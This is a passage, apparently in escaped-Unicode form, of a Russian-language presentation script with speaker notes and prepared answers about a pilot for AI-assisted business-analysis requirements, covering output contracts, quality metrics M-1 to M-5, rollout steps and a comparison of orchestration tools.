\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. 